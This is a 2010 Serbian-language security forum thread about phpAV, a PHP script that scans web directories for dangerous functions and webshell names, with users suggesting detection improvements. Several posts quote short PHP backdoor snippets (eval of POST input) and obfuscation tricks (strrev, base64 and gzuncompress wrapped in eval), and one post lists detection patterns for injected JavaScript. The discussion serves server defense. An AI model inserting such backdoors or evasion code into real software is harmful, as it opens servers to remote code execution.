|
[ milos.z @ 08.01.2010. 16:07 ] @
| skoro sam imao prilike da sa drugom razradjenu ideju pretvorim u delo. ta ideja je bila da se napravi php skripta koja ce brzo da skenira dati direktorijum i sve unutar njega u potrazi za opasnim funkcijama koje koriste maliciozne (uglavnom php) skripte. skripta je napravljena i sa lakocom se mogu dodavati ili oduzimati funkcije za kojima se traga kao i fajlovi koji ce biti skenirani. u sledecoj verziji (trenutnoj) dodata je i mogucnost pracenja imena fajlova u potrazi za 'sumnjivim' imenima (c99, r57, locus7...).
skripta je radjena u php-cli i zahteva pokretanje iz komandne linije gde nakon zavrsenog skeniranja ispise statistiku (broj skeniranih fajlova, broj nadjenih opasnih funkcija, vreme koliko je bilo potrebno da se odredjeni direktorijum skenira...). nakon zavrsenog skeniranja, u koliko je nadjena opasna funkcija, fajl ce se pojaviti u istom direktorijumu kao i skripta gde ce biti ispisani logovi skeniranja (u kom fajlu je opasna funkcija nadjena, koji red i ceo taj red), u koliko ne bude nadjena ni jedna opasna funkcija, nece se pojaviti log fajl.
izgled statistike:
Code:
user@host:~/Desktop$ ./phpAV-v1.1.php /opt/lampp/htdocs/
phpAV-v1.1
Milos Zivanovic [ [email protected]]
Dir: /opt/lampp/htdocs/
Dirs scanned: 92
Files scanned: 371
Files with dangerous functions found: 11
Dangerous functions detected: 24
Suspicious files detected: 1
Time taken: 10.68754 seconds
user@host:~/Desktop$
izgled log fajla:
Code:
WARNING: /opt/lampp/htdocs/c99shell.php
...
File: /opt/lampp/htdocs/c99shell.php
...
Line: 2440 | eval($eval);
...
skripta moze pomoci administratorima u protekciji njihovih servera, odnosno brzom skeniranju odredjenog direktorijuma u potrazi za opasinm funkcijama sto moze mnogo olaksati pronalazenje opasnih skripti na serveru.
skripta je za sad testirana samo na linuxu (ubuntu karmic koala), ali u buducem razvoju je planirano testiranje i sirenje na windows platformu
link do skripte: http://www.packetstormsecurity.org/web/phpav-1.1.txt
pomoc, saveti, problemi: postujte u ovom thread-u ili saljite privatnu poruku |
[ Nemanja Avramović @ 08.01.2010. 16:20 ] @
Skorije sam imao problem sa nekim s*anjem što mi je ubacilo maliciozni JS kod u fajlove na sajtu pa sam imao ideju da se napravi nešto ovako slično (samo da radi i iz browsera, ako može). Tako da eto saveta i za pretragu sumnjivih JS kodova.
Konkretno, mene je napalo ovo:
Code: http://seoforums.org/site-optimization/118-script-gnu-gpl-try-window-onload-function-var.html
pažnja: Neki antivirusi mogu da blokiraju otvaranje gornjeg linka jer sadrži problematičan kod na stranici (iako je link potpuno bezbedan)
[ milos.z @ 08.01.2010. 16:40 ] @
hmm
da bi ti neko ubacio to u fajlove verovatno je preko ranjivosti na sajtu uploadovao prvo php shell, pa koristeci to procackao malo, drugi nacin je da je imao cpanel/ftp password pa preko toga editovao, mada vece su sanse da je ono prvo. moja skripta bi detektovala taj shell verovatno.
e sad sto se tice malicioznog javascript-a tesko da to moze da se prepoznaje po funkcijama, tagovima, il sta vec. kod ubacivanja JS-a ima 2 mogucnosti:
- preko nevidljivog iframe-a
+koriscenje iframe-a (sto se koristi i u normalnim javascript skriptama pa je tesko detektovati preko toga)
+koriscenje eval() funkcije i hex zapisa npr (moja skripta bi ovo detektovala)
- ceo source na licu mesta
e sad kod ove varijante ceo source na licu mesta, kako detektovati maliciozni javascript kod?
u vecini slucajeva taj kod ce biti obfuscated (zamrljan, unakazen i sve sto moze samo da ne bude citljiv, ali funkcionalan) i koristice 'normalne' funkcije
ova skripta kojom si ti bio zarazen koristi funkcije createElement, setAttribute, appendChild i sl.
u koliko ne hostujes sajtove koji sadrze ove funkcije, dodaj ih u niz opasnih funkcija u mojoj skripti i takodje dodaj samo js ekstenziju u file types
[ Ivan.Markovic @ 09.01.2010. 20:38 ] @
Odlicno, ovakav skript u cron-u + email/sms obavestenje moze prilicno da doprinese brzom otkrivanju napada.
[ MilosDj @ 19.01.2010. 00:11 ] @
Svaka cast za trud!
Ja sam vezbe radi poceo da pravim white list klasu. Isto skenira sve u diru i prijavi izmenjene fajlove. Ali tvoja skripta je za stepen bolja jer javlja line gde je izvrsena izmena! To stvarno ubrzava brisanje 'dodataka'!
[ peromalosutra @ 20.01.2010. 18:10 ] @
Pohvale autoru, skripta je stvarno super.
Imao sam priliku da ju prakticno upotrijebim na jednom zarazenom sajtu. Mislim da bi naglasak u razvoju skripte trebalo staviti na neku vrstu sintaksne analize koda, pored redovnog dodavanja novih malicioznih skripti u neku centralizovanu bazu. Na primjer, pretrazujuci za upotrebom eval() funkcije nasao sam nekih 10-ak backdoor-ova tipa:
Code:
if (isset($_POST['code']))
eval($_POST['code']);
razbacanih sirom sajta. Isto se naravno moglo postici i sa grep "eval" -R . ali bolje je imati sve ove stvari na jednom mjestu.
Takodje, prijedlog je da se omoguci da skripta pozove base64_decode() kada naidje na enkodovan tekst, jer se maliciozne skripte cesto enkoduju da bi ih se teze naslo obicnim tekstualnim pretrazivanjem.
U svakom, dobra ideja i nadam se da ce se razvoj nastaviti.
[ milos.z @ 20.01.2010. 20:23 ] @
Drago mi je da je skripta nekome pomogla :)
U planu je nova verzija, malo uproscena i neke stvari izostavljene. Planiram da izbacim traganje za semama u imenima fajlova jer smatram da je nepotrebno jer se svaki fajl otvara i pretrazuje iznutra.
Sto se tice tih backdoor-ova koje si nasao, phpAV je pravljen za jurenje upravo takvih kodova.
Sto se tice predloga za dekodovanje base64 enkodovanog koda, mislim da je nepotrebno, a evo i razloga
maliciozni kod se enkoduje i dobije se base64 kod, kako se onda skripta pokrece
eval(base64_decode(KOD_OVDE));
koriscena je funkcija eval, za kojom traga moja skripta, tako da, znaces gde se izvrsava enkodovani kod, a ako te bas zanima sta taj kod radi, mozes lako da umesto eval, napises echo ili da upises u neki fajl i vidis sta tacno taj kod radi :)
Sumnjam da ce ne-maliciozna skripta da izvrsava enkodovani (skriveni) kod, tako da ako naidjete na ovo, verovatno je backdoor.
Otvoren sam za ideje i predloge/savete.
Inace, u pripremi je jos jedan program za pomaganje u cuvanju bezbednosti web servera i fajlova na njma
[ SETI_explorer @ 24.01.2010. 12:10 ] @
Hmm...
Struktura skripte me nekako previse podseca na skriptu koja se jos pre pojavila na Internetu kao Anti-Gumblar skripta. Ona je trazila fajlove inficirane JS kodom (ovo se pominjalo u predjasnjim postovima), sto zapravo predstavlja Gumblar napad (kradja FTP lozinki i automatsko upload-ovanje malicioznog koda na sajt kojem zrtva ima pristup...
Anyway, pohvale za ulozeni trud. Ovde bih jos dodao Email upozorenje administratora servera, kao i automatsko brisanje zarazenog fajla i vracanje backup-a istog (ako postoji naravno). Moglo bi se dodati i skreniranje antivirusnim Linux software-om kao sto je clamscan.
[ milos.z @ 25.01.2010. 00:37 ] @
hvala na pohvalama
planiram da dodam slanje loga na email i belezenje vremena i datuma zadnjeg menjanja skripte (modify time) u sledecoj verziji (koja ce verovatno biti poslednja)
u koliko admin poseduje malo znanja, moze lako da razlikuje backdoor od obicne skripte potrebne za rad nekog cms-a il foruma il neceg treceg, tako da mislim da je skeniranje AV-om nepotrebno(ako neko nije siguran, moze da skenira fajl zasebno). takodje nisam za brisanje fajla jer, npr phpBB forum skripta koristi system ili shell_exec funckiju (nisam siguran), moja ideja je bila da samo prikazem korisniku info pa da on sam proceni sta dalje treba da radi.
[ Nemke_BG @ 25.01.2010. 11:20 ] @
@milos samo jedna sitnica ovo sto si gore napisao da sve te funkcije moraju na kraju da zovu eval i base64_decode je samo delimicno tacno...  ...jer sreca pa je eval "language constuctor" a ne klasicna funkcija inace bi moglo na primer ovo
Code:
$x = strrev('edoced_46esab');
$y = strrev('lave')
$y($x('neki php kod'));
ali kazem sreca pa je eval "language constructor" pa moraju ovako da pisu(sto sam i video u nekim od tih skripti)...
Code:
$x = strrev('edoced_46esab');
eval($x('neki php kod'));
ovo ti samo kazem da bi imao u vidu i ovakve probleme, mada resenje za isti mi trenutno ne pada na pamet... 
[ mikikg @ 03.02.2010. 07:25 ] @
Fina skriptica ...
Ja sam napravio slicnu u web varijanti sa preg_match_all funkcijom (jeste sporija al' me bas briga) koja i vrati sumljivo parce code-a pa lakse mogu da uocim problematicnu skriptu.
Evo paterne koju mozes da implementiras u svoj skript za trazenje malware html/js code-a:
"try{window.onload(.*)",
"setAttribute\(\'defer\'(.*)",
...
PS: Skeniraj dodatno exksenzije .gif i .jpg, i tu znaju da se sakriju!
[ jorganwd @ 04.02.2010. 14:06 ] @
Svaka cast za autora. :)
[ Darklord @ 25.02.2010. 09:28 ] @
Napravio si par gresaka sa komentarima verovatno u dok si radio update pa nisi ni primetio. Dakle linija 38 i 70
Kako dekodirati pa potom skenirati mnoge skripte se koriste zanimljivim nacinim "zastite" od skenera evo primer jednog
eval("?>".gzuncompress(base64_decode("KOD")));
[ milos.z @ 26.02.2010. 13:06 ] @
@mikikg: bice dodato, hvala
@jorganwd: hvala
@Darklord: nisu to moje greske u komentarima, vec lose formatiranje pa su neki komentari presli u red ispod, bez znaka za komentar. evo verzije sa normalnim formatiranjem: http://pastebin.com/5stwsDzP (verzija skripte je 1.1)
a sto se tice skrivanja koda, tvoj primer nece zaobici moj skener jer ce detektovati eval() funkciju. ti sa malicioznim kodom mozes da uradis sta hoces (kompresije, enkodovanja, 'igranje' sa stringovima...) ali da bi on radio moras da ga ubacis u eval() funnkciju, a tu te moja skripta ceka :)
Copyright (C) 2001-2025 by www.elitesecurity.org. All rights reserved.
|